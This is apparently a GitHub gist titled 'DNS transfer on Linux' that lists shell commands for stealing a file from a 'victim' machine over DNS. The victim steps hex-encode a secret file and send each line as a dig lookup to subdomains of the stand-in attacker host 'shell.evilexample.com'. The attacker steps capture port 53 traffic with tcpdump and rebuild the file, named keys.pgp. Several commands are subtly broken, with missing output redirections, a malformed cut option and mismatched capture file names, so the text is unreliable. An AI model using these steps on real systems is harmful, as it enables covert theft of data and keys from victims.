Skip to content

Instantly share code, notes, and snippets.

@waywardsun
Forked from sckalath/dns_egress_nix
Created September 20, 2016 22:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save waywardsun/0923963190603d515b438c520a2e306d to your computer and use it in GitHub Desktop.
Save waywardsun/0923963190603d515b438c520a2e306d to your computer and use it in GitHub Desktop.
DNS transfer on Linux
On victim:
1. Hex encode the file to be transferred:
xxd -p secret file.hex
2. Read in each line and do a DNS lookup:
for b in 'cat file.hex'; do dig $b.shell.evilexample.com;done
On attacker:
1. Capture DNS exfil packets
tcpdump -w /tmp/dns -s0 port 53 and host system.example.com
2. Cut the exfilled hex from the DNS packet
tcpdump -r dnsdemo -n | grep shell.evilexample.com | cut -f9 -d" " | cut -f1"." | uniq received.txt
3. Reverse the hex encoding
xxd -r -p received.txt keys.pgp
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment